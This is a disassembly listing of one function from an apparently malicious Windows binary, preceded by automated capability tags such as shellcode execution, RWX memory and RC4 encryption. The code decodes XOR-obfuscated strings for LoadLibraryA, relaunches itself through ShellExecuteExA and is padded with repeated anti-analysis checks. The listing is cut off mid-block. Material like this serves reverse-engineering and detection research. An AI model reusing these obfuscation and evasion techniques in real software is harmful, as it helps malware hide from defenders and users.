Function at 0x140069db4
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.1400d8a10
sub rsp, rax
mov rax, qword [0x140144700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[0x49]
mov ebx, 0x6739bc
mov edi, 0xda6f55
mov r12d, 0x35f6738
cmp rax, r12
jne 0x140069eb8
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, r12d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140069e98
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140069e98
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140069eb8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov ecx, r12d
call fcn.140011704
mov rax, qword gs:[0x49]
mov r13d, 0x3df3a125
cmp rax, r12
jne 0x140069f70
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140069f50
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140069f50
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140069f70
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
movabs r15, 0x3c3fd7c40c92e260
cmp rax, r12
jne 0x14006a024
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a004
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a004
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a024
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov ecx, r12d
call fcn.1400693c8
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006a0e5
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a0c5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a0c5
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a0e5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006a18f
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a16f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a16f
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a18f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
lea rdx, [0x140131100]
lea rcx, [rbp + 0x998]
call fcn.1400110c8
mov rdx, rax
mov ecx, r12d
call fcn.1400163fc
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006a266
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a246
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a246
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a266
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006a310
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a2f0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a2f0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a310
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov dword [rbp + 0x90], 0x8e213b
xor r14d, r14d
mov dword [rbp + 0x94], 0x8561cc22
mov word [rbp + 0x98], Ordinal_200
mov edi, r14d
lea esi, [r14 + 1]
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140079538
xor al, dil
mov byte [rbp + rdi + 0x90], al
add rdi, rsi
cmp rdi, 9
jb 0x14006a33d
mov byte [rbp + 0x99], r14b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x49]
cmp rax, r12
mov r13d, 0x3df3a125
jne 0x14006a446
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a426
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a426
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a446
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006a4f0
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a4d0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a4d0
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a4f0
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov dword [rbp + 0x1f0], 0xd6e4757a
mov dword [rbp + 0x1f4], 0xb01a30fb
mov dword [rbp + 0x1f8], 0xcfa6c1fb
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r14
mov r15d, 0xb7616ee1
mov qword [rsp + 0x20], r15
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.1400791d8
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
add rdi, rsi
cmp rdi, 0xc
jb 0x14006a51f
mov byte [rbp + 0x1fc], r14b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[0x49]
cmp rax, r12
movabs r15, 0x3c3fd7c40c92e260
jne 0x14006a61b
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a5fb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a5fb
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a61b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.140069580
test eax, eax
jne 0x14006a8b3
mov edi, r14d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.140102270
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x14006a730
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.140102270
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r14
mov dword [rbp - 0x70], 0x92ea6e82
mov word [rbp - 0x6c], reloc.WLDAP32.dll_Ordinal_211
mov r15d, 0xb7616ee1
mov qword [rsp + 0x20], r15
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.1400794cc
xor al, dil
mov byte [rbp + rdi - 0x70], al
add rdi, rsi
cmp rdi, 5
jb 0x14006a6a4
mov byte [rbp - 0x6b], r14b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r14b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r14
mov dword [rbp + 0xef0], esi
mov qword [rbp + 0xef8], r14
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140078e8b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x14006a736
mov r15d, 0xb7616ee1
mov word [rsp + 0x78], 0xa3
mov qword [rsp + 0x20], r15
mov r9, rsi
xor r8d, r8d
mov dl, 0xa3
lea rcx, [rsp + 0x78]
call fcn.14007938c
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r14b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.140069400
mov rbx, rax
movdqa xmm0, xmmword [0x140139af0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x140139b00]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0xe6d64a7c
mov dword [rbp + 0xc1c], 0xa335f37b
mov dword [rbp + 0xc20], 0xeb85fed4
mov word [rbp + 0xc24], 0xa
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.140079460
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
add rdi, rsi
cmp rdi, 0x2d
jb 0x14006a7b8
mov byte [rbp + 0xc25], r14b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.14007a4b0
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.14007a670
lea rcx, [rbp + 0x9d8]
call fcn.140079fc8
lea rcx, [rbp + 0x9b8]
call fcn.140079fc8
movdqa xmm0, xmmword [0x140139a50]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], si
mov rdi, r14
mov qword [rsp + 0x20], r15
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.140078fb8
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
add rdi, rsi
cmp rdi, 0x11
jb 0x14006a84f
mov byte [rbp + 0x2b9], r14b
lea rcx, [rbp + 0x11a8]
call fcn.140079c1c
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, esi
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006a95d
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a93d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a93d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006a95d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006aa1e
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006a9fe
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006a9fe
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006aa1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006aac8
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006aaa8
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006aaa8
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006aac8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006ab72
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ab52
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ab52
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006ab72
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006ac2d
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ac0d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ac0d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006ac2d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
xor ecx, ecx
call fcn.1400e04e4
mov rbx, rax
mov word [rsp + 0x7c], 0xf8
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
mov dl, 0xf8
lea rcx, [rsp + 0x7c]
call fcn.14007938c
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r14b
mov dword [rbp - 0x60], 0x586cc4da
mov word [rbp - 0x5c], 0x977c
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140079248
xor al, dil
mov byte [rbp + rdi - 0x60], al
add rdi, rsi
cmp rdi, 6
jb 0x14006ac79
mov byte [rbp - 0x5a], r14b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.1400e39c4
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006ad6a
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ad4a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ad4a
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006ad6a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006ae27
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0x6739bc
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006ae07
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006ae07
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006ae27
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov ecx, 2
call fcn.1400e04e4
mov rbx, rax
mov word [rbp - 0x80], 0xfd
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
mov dl, 0xfd
lea rcx, [rbp - 0x80]
call fcn.14007938c
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r14b
mov dword [rbp - 0x38], 0xcf857d4d
mov dword [rbp - 0x34], 0x7487e0
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.1400793f4
xor al, dil
mov byte [rbp + rdi - 0x38], al
add rdi, rsi
cmp rdi, 7
jb 0x14006ae6e
mov byte [rbp - 0x31], r14b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.1400e39c4
mov rax, qword gs:[0x49]
cmp rax, r12
mov r13d, 0x3df3a125
jne 0x14006af64
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006af44
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006af44
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006af64
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006b00e
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006afee
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006afee
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b00e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov ecx, esi
call fcn.1400e04e4
mov rbx, rax
mov word [rbp - 0x7c], 0xfd
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9, rsi
xor r8d, r8d
mov dl, 0xfd
lea rcx, [rbp - 0x7c]
call fcn.14007938c
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r14b
mov dword [rbp - 0x30], 0xcf857d4d
mov dword [rbp - 0x2c], 0x7487e0
mov rdi, r14
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.1400793f4
xor al, dil
mov byte [rbp + rdi - 0x30], al
add rdi, rsi
cmp rdi, 7
jb 0x14006b052
mov byte [rbp - 0x29], r14b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.1400e39c4
mov rax, qword gs:[0x49]
cmp rax, r12
mov r13d, 0x3df3a125
mov ebx, 0x6739bc
jne 0x14006b15d
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov eax, 0xda6f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b13d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b13d
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b15d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006b207
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b1e7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b1e7
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b207
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
movdqa xmm0, xmmword [0x140139b70]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x140139a30]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x140139c40]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0xf8de38e0
mov dword [rbp + 0xd4c], 0x6026f9d4
mov dword [rbp + 0xd50], 0x77875666
mov word [rbp + 0xd54], 0x577
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r14
mov r13d, 0xb7616ee1
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140079320
xor al, dil
mov byte [rbp + rdi + 0xd18], al
add rdi, rsi
cmp rdi, 0x3e
jb 0x14006b26f
mov byte [rbp + 0xd56], r14b
lea rcx, [rbp + 0xd18]
call fcn.140010f6c
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006b360
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x38]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14006b340
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14006b340
mov rcx, qword gs:[0x38]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14006b360
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400df118
int3
mov rax, qword gs:[0x49]
cmp rax, r12
jne 0x14006b41b
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x38]
xor edx, edx
